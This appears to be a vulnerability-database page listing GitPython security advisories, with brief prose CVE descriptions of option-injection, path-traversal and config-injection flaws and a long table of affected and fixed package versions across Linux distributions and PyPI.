ROOT-APP-PYPI-CVE-2026-67325
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-2f96-g7mh-g2hx No score

GHSA-2f96-g7mh-g2hx in GitPython - Patched by Root

Root has patched GHSA-2f96-g7mh-g2hx in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-2f96-g7mh-g2hx
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-6r2r-ww24-7h52 No score

GHSA-6r2r-ww24-7h52 in GitPython - Patched by Root

Root has patched GHSA-6r2r-ww24-7h52 in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-6r2r-ww24-7h52
Updated
2026-11-02
OSVSUSE-SU-2026:4072-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
  • CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
  • CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
  • CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
  • CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
  • CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
  • CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
  • CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
Record
SUSE-SU-2026:4072-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gitpython
PyPI
through 3.1.50
3.1.51
gitpython
TuxCare:PyPI
From an advisory covering 5 CVEs
3.1.31 up to 3.1.31.post10+tuxcare, plus listed versions
3.1.31.post1+tuxcare3.1.31.post2+tuxcare3.1.31.post3+tuxcare3.1.31.post4+tuxcare3.1.31.post5+tuxcare
Show 4 moreShow less
3.1.31.post6+tuxcare3.1.31.post7+tuxcare3.1.31.post8+tuxcare3.1.31.post9+tuxcare
3.1.31.post10+tuxcare
python-git
Debian:12
before 3.1.30-1+deb12u3, plus listed versions
3.1.30-13.1.30-1+deb12u2
3.1.30-1+deb12u3
python-git
Debian:13
before 3.1.44-1+deb13u1, plus listed versions
3.1.44-1
3.1.44-1+deb13u1
python-git
Debian:14
before 3.1.61-1, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.50-1
3.1.61-1
gitpython
PyPI
before 3.1.51, plus listed versions
0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2
Show 45 moreShow less
0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5
3.1.51
python-GitPython
openEuler:24.03-LTS-SP4
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp4
3.1.52-1.oe2403sp4
python-GitPython
openEuler:24.03-LTS-SP1
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp1
3.1.52-1.oe2403sp1
python-GitPython
openEuler:24.03-LTS-SP3
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp3
3.1.52-1.oe2403sp3
clang
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
Show 159 moreShow less
Affected packages
PackageAffectedFixed
clang-analyzer
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-resource-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-tools-extra
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-tools-extra-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
compiler-rt
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
git-clang-format
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libomp
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libomp-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lldb
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lldb-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-bolt
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-cmake-utils
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-doc
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-googletest
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-test
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
polly
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
polly-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-clang
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-lit
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-lldb
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
swift-lang
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:6.3.3-0.1.1.hum1
0:6.3.3-0.1.1.hum1
swift-lang-runtime
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:6.3.3-0.1.1.hum1
0:6.3.3-0.1.1.hum1
clang21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-analyzer
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-resource-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-tools-extra
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-tools-extra-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
compiler-rt21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
git-clang-format21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
libomp21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
libomp21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lldb21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lldb21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-cmake-utils
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-doc
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-googletest
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-test
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
python3-clang21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
python3.12-django
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 18 CVEs
before 0:5.2.17-1.el8ap
0:5.2.17-1.el8ap
python3.12-django
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:5.2.17-1.el8ap
0:5.2.17-1.el8ap
python3.12-django
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 18 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
python3.12-django
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:2.5.20260824-1.el8ap
0:2.5.20260824-1.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:2.5.20260824-1.el9ap
0:2.5.20260824-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:3.1.59-1.el8ap
0:3.1.59-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:3.1.59-1.el9ap
0:3.1.59-1.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:3.14.3-1.el8ap
0:3.14.3-1.el8ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:2.6.13-1.el9ap
0:2.6.13-1.el9ap
python-django
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3-django
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python-django
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3-django
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3.12-django
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 20 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
python3.12-django
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.1.59-1.el9ap
0:3.1.59-1.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
python3.12-aiohttp-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
python3.12-aiohttp-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:1.6.8-1.el10ap
0:1.6.8-1.el10ap
receptor
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.14-1.el9ap
0:2.6.14-1.el9ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:4.6.33-1.el8ap
0:4.6.33-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:4.6.33-1.el9ap
0:4.6.33-1.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.10-8.el8ap
0:2.5.10-8.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el8ap
0:2.5.20260923-1.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el9ap
0:2.5.20260923-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:3.1.60-1.el8ap
0:3.1.60-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
gitpython
Root:PyPI
before 3.1.47+aikido.2
3.1.47+aikido.23.1.47+aikido.3
GitPython
Root:PyPI
before 3.1.47+aikido.9
3.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.13
GitPython
Root:PyPI
before 3.1.47+aikido.8
3.1.47+aikido.83.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.47+aikido.33.1.46+aikido.63.1.49+aikido.33.1.46+aikido.73.1.47+aikido.43.1.49+aikido.43.1.47+aikido.53.1.46+aikido.83.1.50+aikido.33.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10
python-GitPython
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-git
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm20.3.2~RC1-3ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm21.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm22.1.8-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
